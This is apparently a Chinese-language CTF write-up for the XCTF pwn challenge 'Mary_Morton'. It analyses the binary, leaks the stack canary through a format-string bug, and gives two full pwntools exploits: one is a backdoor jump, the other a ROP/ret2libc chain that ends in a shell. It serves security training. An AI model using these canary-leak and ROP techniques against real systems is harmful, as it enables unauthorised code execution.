1:checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec Mary_Morton
[*] '/home/hunter/PWN/XCTF/xctf_challenge/Mary_Morton'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary NX防护打开
2:IDA
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+24h] [rbp-Ch]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_4009FF(); #setbuf
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA(); #输出提示符
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
sub_4008EB(); #格式化字符串漏洞
}
if ( v3 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v3 == 1 )
sub_400960("%d", &v3); #存在溢出
else
puts("Wrong!");
}
}
后门:
int sub_4008DA()
{
return system("/bin/cat ./flag");
}
如果没有后门这个题会让我呛得慌
函数sub_4008EB():
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h] #别误以为buf是大小为90h的数组,擦亮眼睛
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(40u);
memset(&buf, 0, 128uLL);
read(0, &buf, 127uLL);
printf(&buf, &buf);
return __readfsqword(40u) ^ v2;
}
read函数只能读入127个字符,无法溢出,显然只能利用下面的格式化字符串漏洞。
printf因为RELRO关闭可改写got表,以及其他数据,泄露地址那是基本能力。
函数sub_400960:
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(40u);
memset(&buf, 0, 128uLL);
read(0, &buf, 256uLL);
printf("-> %s\n", &buf);
return __readfsqword(40u) ^ v2;
}
这里read可以往buf地址处读入256个字符,而buf离RBP距离为90h所以存在溢出。但别忘了canary开启。
canary一般就在RBP上面,如果不记得了可以看汇编代码:
buf= byte ptr -90h
var_8= qword ptr -8
; __unwind {
push rbp
mov rbp, rsp
sub rsp, 90h
mov rax, fs:28h
mov [rbp+var_8], rax #[rbp+var_8]就是rbp-8即rbp上面一个栈帧
xor eax, eax
lea rdx, [rbp+buf]
3:思路
综上
- canary,NX开启
- 整个程序存在格式化字符串漏洞和溢出漏洞
- 存在后门
- 所以利用格式化字符串漏洞泄露canary,每个char buf都会被插入cookie
- padding+cookie绕过canary,控制程序流程
格式化字符串漏洞泄露偏移量
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAAAAAA0x7ffc11daed70.0x7f.0x7f82284ed081.(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
闹钟
64位就用8个A好看一点,偏移量是6
这作者还设了一个闹钟,很烦~~~
我们来看看sub_4008EB(字符串漏洞)函数的栈分布:
那么可以很容易算出cookie的偏移位置:(0x90-0x8)/8 + 6 ==>23.
来试一试:
hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./Mary_Morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%23$pAAA
0xceb50cabb0ce3f00AAA #千万记住你后面AAA会接在你泄露地址后面,别把他们当作泄露的一部分了
1. Stack Bufferoverflow Bug #没错这个离谱的数就是cookie了,有离谱和末尾的00作证
2. Format String Bug
3. Exit the battle
闹钟
泄露成功!什么你说我泄露 sub_4008EB里面的cookie关sub_400960的cookie什么事?我说他们是周树人和鲁迅关系你信吗,反正我信了。
之后我们进入栈溢出函数构造payload即可实现跳转到后门。
溢出点计算
之前我以为有canary,溢出点就很难用gdb测出来了。其实并没有,我们来看看溢出函数栈是啥情况:
函数开始的部分汇编代码:
push rbp
mov rbp, rsp
sub rsp, 90h
mov rax, fs:28h
mov [rbp+var_8], rax
xor eax, eax
lea rdx, [rbp+buf]
一般程序栈的返回地址,RBP/EBP会在最前面就布置好,就像上面那样,显然是一般函数的栈分布:
那么payload:’A’*(0x90-8) + p64(cookie) + ‘AAAAAAAA’ + p64(backdoor)
4:EXP
from pwn import*
context.log_level = 'debug'
sh = process('./Mary_Morton')
print sh.recv()
sh.sendline('2')
payload1 = '%23$pAAA'
sh.sendline(payload1)
cookie = int(sh.recvuntil('00'),16)
print cookie
sh.recv()
backdoor = 0x04008DA
sh.sendline('1')
payload2 = 'A'*(0x90-8) + p64(cookie) + 'AAAAAAAA' + p64(backdoor)
sh.sendline(payload2)
sh.interactive()
5:EXP无后门版
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf = ELF('Mary_Morton')
system_plt = elf.symbols['system']
read_plt = elf.symbols['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss_addr = 0x0601080
door = 0x004008DA
pop_rdi_ret = 0x0400ab3
#main : 0x0400826
#RDI, RSI, RDX, RCX, R8 R9
#0x0000000000400659 : ret
#0x0400B2B cat
#0400ab3 : pop rdi ; ret
#0400960 overflow
sh = process('./Mary_Morton')
#sh = remote('220.249.52.133',40551)
sh.recv()
sh.sendline('2')
print "#############leaking the cookie#################"
payload = '%23$pAAA'
sh.sendline(payload)
sh.recvuntil('0x')
cookie = int(sh.recv(16),16)
sh.recv()
print cookie
print "#############leaking the puts_addr#################"
sh.sendline('1')
payload = 'A'*136 + p64(cookie) +'AAAAAAAA'
payload += p64(0x0000000000400659)
#payload += p64(pop_rdi_ret) + p64(0x0400B2B) + p64(system_plt)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) +p64(0x0000000000400659)+p64(0x0400826)
#gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('\n')
tmp = sh.recv(6) + '\x00' + '\x00'
puts_addr = u64(tmp)
print "puts_addr==>" + str(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_addr = puts_addr - libc.dump('puts')
print "libc_addr==>" + str(hex(libc_addr))
system_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr+libc.dump('str_bin_sh')
print sh.recv()
#gdb.attach(sh)
sh.sendline('1')
print "#############final attack#################"
payload2 = 'A'*136 + p64(cookie) + 'AAAAAAAA'
payload2 += p64(0x0000000000400659)
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload2)
sh.interactive()
结果:
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
[DEBUG] Sent 0x2 bytes:
'1\n'
#############final attack#################
[DEBUG] Sent 0xb9 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 41 41 41 41 41 41 41 00 d0 eb ef e0 eb d0 4c │AAAA│AAAA│····│···L│
00000090 41 41 41 41 41 41 41 41 59 06 40 00 00 00 00 00 │AAAA│AAAA│Y·@·│····│
000000a0 b3 0a 40 00 00 00 00 00 9a 4e 3a 79 16 7f 00 00 │··@·│····│·N:y│····│
000000b0 40 04 24 79 16 7f 00 00 0a │@·$y│····│·│
000000b9
[*] Switching to interactive mode
[DEBUG] Received 0x8c bytes:
'-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
[*] Got EOF while reading in interactive
$